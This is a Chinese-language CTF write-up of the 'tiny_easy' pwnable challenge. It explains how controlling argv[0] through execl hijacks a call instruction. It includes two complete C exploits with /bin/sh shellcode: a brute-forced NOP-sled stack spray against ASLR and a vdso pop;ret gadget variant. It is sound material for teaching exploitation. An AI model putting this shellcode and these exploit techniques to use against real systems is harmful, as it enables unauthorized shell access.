直接运行程序会segment fault,gdb调试:
将'/hom'字符串对应的ascii码作为地址执行,仍然不知道怎么回事,直接上IDA:
这个程序非常短,只有start函数,于是在0x8048054下断点运行:
call的目的地址实际是*(int*)argv[0],如果我们能控制argv[0],使它指向shellcode的地址或ropgadget的地址(即*(int*)argv[0] = ≻ / &gadget),则能实现控制流的劫持。
(1) 如何控制argv[0]?
对于直接在shell中运行可执行程序时,argv[0]默认指向输入的可执行程序名(如:"./tiny_easy",需要说明的是在gdb中argv[0]则指向目标程序的绝对路径名),这样的话argv[0]是无法被人为控制的。
这里可以用execl(path, arg0, arg1, ...)来执行目标程序,通过控制arg0为目标跳转地址即可。这样的话,上面的argv[0] = &arg0,从而*(int*)argv[0] = arg0 = ≻ / &gadget。
(2) 目标跳转地址怎么设置?
一个很直接的想法就是:将shellcode也作为命令行参数传进去,从而将arg0设为shellcode的地址即可。shellcode传进去后肯定也是存储在栈上的,因此≻就是某个栈地址;又由于目标程序开启了ASLR,栈的地址是不确定的,因此只能通过在shellcode中包含大量的nop指令来提高命中率。除此之外,我们还可以填入多个shellcode,尽可能把栈空间给占满,从而只要跳转地址落到其中1个shellcode的nop部分,那么就一定能获取到shell。整体布局如下图所示(其中的数值不用关心,只是一个栈布局的概念图,还有红色字应为"argv[0]存储≻" 手误zzz):
linux执行命令时参数大小是有限制的:
- 单个参数的长数限制是 PAGE_SIZE*32 = 4K *32 = 128K = 0x20000
- 单条命令的总长度限制(用getconf ARG_MAX查看,我的电脑是0x200000)
因此,我们可以传入0x20000/0x20000=16个参数,每个参数包含0x20000(131072)个字符(这里我们选比它小一点的数也无妨,如130000),每个参数形式为“nop指令+shellcode”;
arg0指向某个shellcode块,因此是栈地址;由于栈地址本身是随机变化的,因此这里我们将arg0设为固定地址,通过多次运行目标程序,只要有一次arg0指向有效的shellcode块即可实现目标。这里,我们通过多次查看内存布局,发现栈地址空间都是_0x_ffxxxxxx形式的,且其中第1个x的第1位为1的居多(如0xff8....., 0xff9....., ..., 0xfff.....),因此这里我们也这么设置arg0 (如:0xffbcf0e0)
ps: gdb调试小技巧 - 通过定义hook-stop函数,从而在每次运行停止时都会自动执行该函数中定义的命令,避免了重复输入的麻烦
有了这些思路,就可以写代码了:
#include <unistd.h>
#include <string.h>
#include <sys/wait.h>
#include <stdio.h>
char shellcode[] = \
"\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72"
"\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x31\xd2\x6a\x0b\x58\xcd\x80";
int main()
{
char arg[130001];
memset(arg, '\x90', 130000);
strcpy(arg+130000-strlen(shellcode),shellcode);
int status;
int res;
while(1) {
if(fork()==0)
execl("/home/tiny_easy/tiny_easy","\xe0\xf0\xbc\xff",
arg,arg,arg,arg,arg,arg,arg,arg,
arg,arg,arg,arg,arg,arg,arg,arg,
(char*)0);
wait(&status);
res = WIFEXITED(status);
printf("%d\n",res);
if (res)
break;
}
}
ps: 当WIFEXITED(status)返回非0时,表示子进程正常结束了;否则就是子进程运行时出错了,在这里即表示跳转地址没能指向有效的shellcode位置。上图中尝试6次之后即成功获得shell。
上面的方法是通过直接控制call地址为shellcode地址,由于栈地址是不确定的,存在一定的困难;那么是否可以通过rop来实现呢?如果call执行的指令中有ret的话,那么就能将栈顶元素弹出当做rip去执行,而此时栈顶元素若为shellcode地址的话,那就可以跳转至shellcode去执行了。因此,这里的思路就是:设置arg0为包含ret指令的gadget地址,设置arg1为shellcode。
由于这里是call edx,会将返回地址压入栈,因此为了维护栈平衡,gadget中需要有一个pop指令将返回地址弹出,然后才是ret指令。所以我们的目的就变成找带有 pop ; ret的gadget。这里唯一可能找到gadget的就是vdso内存页,但远程机器是开启ASLR的,且通过ulimit -s unlimited也无法将vdso内存地址固定(原因是远程机器的linux是4.10.0版本,这一方法适用于有漏洞的4.5.2及之前版本的linux,具体原因参考另一篇博客利用缓解措施),因此我们并不能找到固定地址的gadget,所以就没在远程机器上尝试。。。但我本地机器的linux是3.13.0版本的,可以尝试之!
- 先用ulimit -s unlimited 固定vdso地址
- 在gdb中使用dump binary memory filename start_addr end_addr命令将vdso内存dump出来
- 使用ROPgadget工具从dump文件中找到pop ; ret指令
- 设置arg0为包含ret指令的gadget地址,设置arg1为shellcode
#include <unistd.h>
char shellcode[] = \
"\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72"
"\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x31\xd2\x6a\x0b\x58\xcd\x80";
int main()
{
execl("./tiny_easy","\x32\x54\x55\x55",shellcode,(char*)0);
return 0;
}
当当当!成功获得shell~~
总结知识点:
- execl(设置argv[0])
- linux命令行参数限制
- nop sled来绕过/缓解ASLR
- ulimit -s limited(固定library、vdso地址,从中找可用的gadget)